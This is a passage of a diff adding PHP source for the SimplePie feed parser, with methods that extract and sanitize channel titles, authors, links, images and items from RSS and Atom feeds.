+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_ATOM_03)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_RDF)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if (isset($this->data['child']['']['rss'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child']['']['rss'][0]['child'][$namespace][$tag];
+			}
+		}
+		return null;
+	}
+
+	function get_channel_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_ATOM_ALL)
+		{
+			if ($return = $this->get_feed_tags($namespace, $tag))
+			{
+				return $return;
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_10)
+		{
+			if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_090)
+		{
+			if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if ($channel = $this->get_feed_tags('', 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		return null;
+	}
+
+	function get_image_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_RSS_10)
+		{
+			if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_090)
+		{
+			if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if ($image = $this->get_channel_tags('', 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		return null;
+	}
+
+	function get_base($element = array())
+	{
+		if (!($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION) && !empty($element['xml_base_explicit']) && isset($element['xml_base']))
+		{
+			return $element['xml_base'];
+		}
+		elseif ($this->get_link() !== null)
+		{
+			return $this->get_link();
+		}
+		else
+		{
+			return $this->subscribe_url();
+		}
+	}
+
+	function sanitize($data, $type, $base = '')
+	{
+		return $this->sanitize->sanitize($data, $type, $base);
+	}
+
+	function get_title()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags('', 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] =& new $this->category_class($term, $scheme, $label);
+		}
+		foreach ((array) $this->get_channel_tags('', 'category') as $category)
+		{
+			$categories[] =& new $this->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] =& new $this->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] =& new $this->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($categories))
+		{
+			return SimplePie_Misc::array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] =& new $this->author_class($name, $uri, $email);
+			}
+		}
+		if ($author = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] =& new $this->author_class($name, $url, $email);
+			}
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] =& new $this->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] =& new $this->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] =& new $this->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($authors))
+		{
+			return SimplePie_Misc::array_unique($authors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] =& new $this->author_class($name, $uri, $email);
+			}
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] =& new $this->author_class($name, $url, $email);
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return SimplePie_Misc::array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if (isset($links[$key]))
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Added for parity between the parent-level and the item/entry-level.
+	 */
+	function get_permalink()
+	{
+		return $this->get_link(0);
+	}
+
+	function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					}
+				}
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+					}
+				}
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_channel_tags('', 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if (SimplePie_Misc::is_isegment_nz_nc($key))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) == SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_description()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags('', 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_copyright()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags('', 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_language()
+	{
+		if ($return = $this->get_channel_tags('', 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['headers']['content-language']))
+		{
+			return $this->sanitize($this->data['headers']['content-language'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_latitude()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_longitude()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_title()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags('', 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_url()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image'))
+		{
+			return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags('', 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_link()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags('', 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_width()
+	{
+		if ($return = $this->get_image_tags('', 'width'))
+		{
+			return round($return[0]['data']);
+		}
+		elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags('', 'url'))
+		{
+			return 88.0;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_height()
+	{
+		if ($return = $this->get_image_tags('', 'height'))
+		{
+			return round($return[0]['data']);
+		}
+		elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags('', 'url'))
+		{
+			return 31.0;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_item_quantity($max = 0)
+	{
+		$qty = count($this->get_items());
+		if ($max == 0)
+		{
+			return $qty;
+		}
+		else
+		{
+			return ($qty > $max) ? $max : $qty;
+		}
+	}
+
+	function get_item($key = 0)
+	{
+		$items = $this->get_items();
+		if (isset($items[$key]))
+		{
+			return $items[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_items($start = 0, $end = 0)
+	{
+		if (!empty($this->multifeed_objects))
+		{
+			return SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit);
+		}
+		elseif (!isset($this->data['items']))
+		{
+			if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'entry'))
+			{
+				$keys = array_keys($items);
+				foreach ($keys as $key)
+				{
+					$this->data['items'][] =& new $this->item_class($this, $items[$key]);
+				}
+			}
+			if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'entry'))
+			{
+				$keys = array_keys($items);
+				foreach ($keys as $key)
+				{
+					$this->data['items'][] =& new $this->item_class($this, $items[$key]);
+				}
+			}
+			if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'item'))
+			{
+				$keys = array_keys($items);
+				foreach ($keys as $key)
+				{
+					$this->data['items'][] =& new $this->item_class($this, $items[$key]);
+				}
+			}
+			if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'item'))
+			{
+				$keys = array_keys($items);
+				foreach ($keys as $key)
+				{
+					$this->data['items'][] =& new $this->item_class($this, $items[$key]);
+				}
+			}
+			if ($items = $this->get_channel_tags('', 'item'))
+			{
+				$keys = array_keys($items);
+				foreach ($keys as $key)
+				{
+					$this->data['items'][] =& new $this->item_class($this, $items[$key]);
+				}
+			}
+		}
+
+		if (!empty($this->data['items']))
+		{
+			// If we want to order it by date, check if all items have a date, and then sort it
+			if ($this->order_by_date)
+			{
+				if (!isset($this->data['ordered_items']))
+				{
+					$do_sort = true;
+					foreach ($this->data['items'] as $item)
+					{
+						if (!$item->get_date('U'))
+						{
+							$do_sort = false;
+							break;
+						}
+					}
+					$item = null;
+					$this->data['ordered_items'] = $this->data['items'];
+					if ($do_sort)
+					{
+						usort($this->data['ordered_items'], array(&$this, 'sort_items'));
+					}
+				}
+				$items = $this->data['ordered_items'];
+			}
+			else
+			{
+				$items = $this->data['items'];
+			}
+
+			// Slice the data as desired
+			if ($end == 0)
+			{
+				return array_slice($items, $start);
+			}
+			else
+			{
+				return array_slice($items, $start, $end);
+			}
+		}
+		else
+		{
+			return array();
+		}
+	}
+
+	function sort_items($a, $b)
+	{
+		return $a->get_date('U') <= $b->get_date('U');
+	}
+
+	function merge_items($urls, $start = 0, $end = 0, $limit = 0)
+	{
+		if (is_array($urls) && sizeof($urls) > 0)
+		{
+			$items = array();
+			foreach ($urls as $arg)
+			{
+				if (is_a($arg, 'SimplePie'))
+				{
+					$items = array_merge($items, $arg->get_items(0, $limit));
+				}
+				else
+				{
+					trigger_error('Arguments must be SimplePie objects', E_USER_WARNING);
+				}
+			}
+
+			$do_sort = true;
+			foreach ($items as $item)
+			{
+				if (!$item->get_date('U'))
+				{
+					$do_sort = false;
+					break;
+				}
+			}
+			$item = null;
+			if ($do_sort)
+			{
+				usort($items, array('SimplePie', 'sort_items'));
+			}
+
+			if ($end == 0)
+			{
+				return array_slice($items, $start);
+			}
+			else
+			{
+				return array_slice($items, $start, $end);
+			}
+		}
+		else
+		{
